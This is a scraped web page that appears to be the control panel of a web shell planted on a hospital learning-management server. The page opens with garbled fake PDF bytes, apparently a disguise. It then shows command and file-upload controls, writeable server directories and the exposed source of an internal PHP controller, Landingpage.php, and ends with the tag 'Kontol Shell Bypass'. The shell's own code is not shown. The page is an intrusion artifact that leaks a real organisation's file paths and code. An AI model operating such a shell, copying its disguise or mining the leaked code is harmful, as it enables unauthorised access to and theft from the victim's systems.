%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/lms/lms/api/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/api/application/controllers/Landingpage.php
<?php
class Landingpage extends MY_Controller {
    function __construct() {
        parent::__construct();
		not_logged_res();
		$this->checkAccess('manage_landing_pages');
		$this->load->model("Landingpage_model", "lp");
		$this->load->model("master_model", "master");
    }
	
	function init(){
		$data=$this->lp->lists();
		$data['programTypes']=$this->master->programTypes();
		$data['academicCareers']=$this->master->academicCareers();
		$data['disciplines']=$this->master->disciplines();
		$data['schools']=$this->master->schools();
		$data['coupans']=$this->common->allCoupans(TRUE);
		$data['faqCats']=$this->common->faqCats(TRUE);
		$data['utmSources']=$this->master->utmSources();
		$this->json_data($data);
	}
	
	function lists(){
		$data=$this->lp->lists();
		$this->json_data($data);
	}
	
	function save(){
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		
		if($post){
			$id=$post['id']=intval($post['id']);
			$this->form_validation->set_rules('title', 'Page Url', "required|is_unique[landing_pages.title.id!='$id']", $this->req);
			
			$inf['success']='F';
			if(@$this->form_validation->run() == FALSE){
				$inf['errors']=$this->form_validation->get_errors();
				$inf['msg']=reset($inf['errors']);
            }else{
				$data=filter_value($post, array('id', 'title', 'status', 'na_utm_source_id', 'for_mob_app', 'isdefault', 'step1pay', 'instant_fee', 'male_fee', 'female_fee', 'other_fee', 'show_apply_before', 'male_offer_fee', 'female_offer_fee', 'other_offer_fee', 'offer_msg'));

				$str=rtrim(trim($post['title']), "/");
				$str=str_replace(array("http://", "https://", "www."), array("", "", ""), $str);
				$data['trimed_title']=$str;
				
				if($this->db->get_where("landing_pages", array('trimed_title'=>$data['trimed_title'], 'id !='=>$id))->row()){
					$inf['msg']="Page ".$data['trimed_title']." is already added";
					$this->json_data($inf);
				}

				if($post['for_all']==='Y'){
					$d=filter_value($post, ['male_offer_fee', 'female_offer_fee', 'other_offer_fee', 'offer_msg']);
					$this->db->update("landing_pages", $d);
				}
				
				if($lpage_id=$this->common->save($data, "landing_pages")){
					/** Coupans */
					$this->db->delete("coupans_in_use", array('lpage_id'=>$lpage_id));
					if($post['coupans']){
						foreach($post['coupans'] as $coupan_id){
							$d=array('coupan_id'=>$coupan_id, 'lpage_id'=>$lpage_id, 'created'=>currentDT(), 'updated'=>currentDT());
							$this->db->insert("coupans_in_use", $d);
						}
					}
					/** \ */

					$inf['success']='T';
					$inf['msg']='Landing page '.($id?'updated':'added').' successfully';
				}
            }
			$this->json_data($inf);
		}
	}
	
	function detail($id=0){
		$dtl=$this->lp->detail($id);
		$this->json_data($dtl);
	}
	
	function delete(){
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->lp->delete($id)){
			$inf['success']='T';
			$inf['msg']="Landing page deleted successfully";
		}
		$this->json_data($inf);
	}

	/** Landing page programs */
	function initLPPrograms(){
		$data['allLandingPages']=$this->common->allLandingPages();
		$this->json_data($data);
	}

	function getLPPrograms($lpageId=0){
		$data['lpprograms']=$this->lp->lpPrograms($lpageId);
		$this->json_data($data);
	}

	function listPrograms($lpageId=0){
		$data['programs']=$this->lp->listPrograms($lpageId);
		$this->json_data($data);
	}

	function saveLPP(){
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		if(!$post['lpage_id']){
			$inf['msg']="Invalid data"; $this->json_data($inf);
		}
		if(!$post['programs']){
			$inf['msg']="Select programs"; $this->json_data($inf);
		}
		
		$res=$this->lp->saveLPP($post);
		$inf=$res;
		$this->json_data($inf);
	}
	
	function deleteLPP(){
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->lp->deleteLPP($id)){
			$inf['success']='T';
			$inf['msg']="Program removed successfully";
		}
		$this->json_data($inf);
	}

	function deleteAllLPP(){
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$lpage_id=intval($this->input->post('lpage_id'));
		if($this->lp->deleteAllLPP($lpage_id)){
			$inf['success']='T';
			$inf['msg']="All programs removed successfully";
		}
		$this->json_data($inf);
	}


	/** Landing Page Faq */
	function initLPFaq(){
		$data['allLandingPages']=$this->common->allLandingPages();
		$this->json_data($data);
	}

	function getLPFaqs($lpageId=0){
		$data['lpfaqs']=$this->lp->lpFaqs($lpageId);
		$this->json_data($data);
	}

	function listFaqs($lpageId=0){
		$data['faqs']=$this->lp->listFaqs($lpageId);
		$this->json_data($data);
	}

	function saveLPF(){
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		if(!$post['lpage_id']){
			$inf['msg']="Invalid data"; $this->json_data($inf);
		}
		if(!$post['faqs']){
			$inf['msg']="Select FAQ"; $this->json_data($inf);
		}
		
		$res=$this->lp->saveLPF($post);
		$inf=$res;
		$this->json_data($inf);
	}

	function deleteLPF(){
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->lp->deleteLPF($id)){
			$inf['success']='T';
			$inf['msg']="Faq removed successfully";
		}
		$this->json_data($inf);
	}

	function deleteAllLPF(){
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$lpage_id=intval($this->input->post('lpage_id'));
		if($this->lp->deleteAllLPF($lpage_id)){
			$inf['success']='T';
			$inf['msg']="All FAQ removed successfully";
		}
		$this->json_data($inf);
    }
    
    /** Apply Before */
    function applyBeforeDetail(){
        $dtl=$this->lp->applyBeforeDetail();
        $this->json_data($dtl);
    }

    function saveApplyBefore(){
        $res=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());

        try{
            $dir=UP_PATHF.'lpages/';
            if(!is_dir($dir)){
                mkdir($dir, 0777, true);
            }
            
            $dtl=$this->lp->applyBeforeDetail();
            $data=filter_value($post, ['line1', 'line2', 'line3']);
            if($_FILES['image']['name']){
                $this->load->library('upload');
                $config=['upload_path'=>$dir, 'allowed_types'=>'jpg|jpeg|png|gif', 'max_size'=>1024*5, 'max_filename'=>80, 'file_ext_tolower'=>true, 'file_name'=>USER_ID.time()];
                $this->upload->initialize($config);
                if($this->upload->do_upload("image")){
                    $data['image']=$this->upload->data('file_name');
                    if($dtl['apply_before_image']){
                        @unlink($dir.$dtl['apply_before_image']);
                    }
                }else{
                    throw new Exception(strip_tags($this->upload->display_errors()));
                }
            }

            foreach($data as $k=>$v){
                switch($k){
                    case 'image':
                        $this->db->where("datakey", "apply_before_image")->update("master_data", ['datavalue'=>$v]);
                    break;

                    case 'line1':
                        $this->db->where("datakey", "apply_before_line1")->update("master_data", ['datavalue'=>$v]);
                    break;

                    case 'line2':
                        $this->db->where("datakey", "apply_before_line2")->update("master_data", ['datavalue'=>$v]);
                    break;

                    case 'line3':
                        $this->db->where("datakey", "apply_before_line3")->update("master_data", ['datavalue'=>$v]);
                    break;
                }
            }

            $res['success']='T';
            $res['msg']="Information updated";
            $this->json_data($res);

        }catch(Exception $e){
            $res['msg']=$e->getMessage();
        }
        $this->json_data($res);
    }
}

//EOF

Kontol Shell Bypass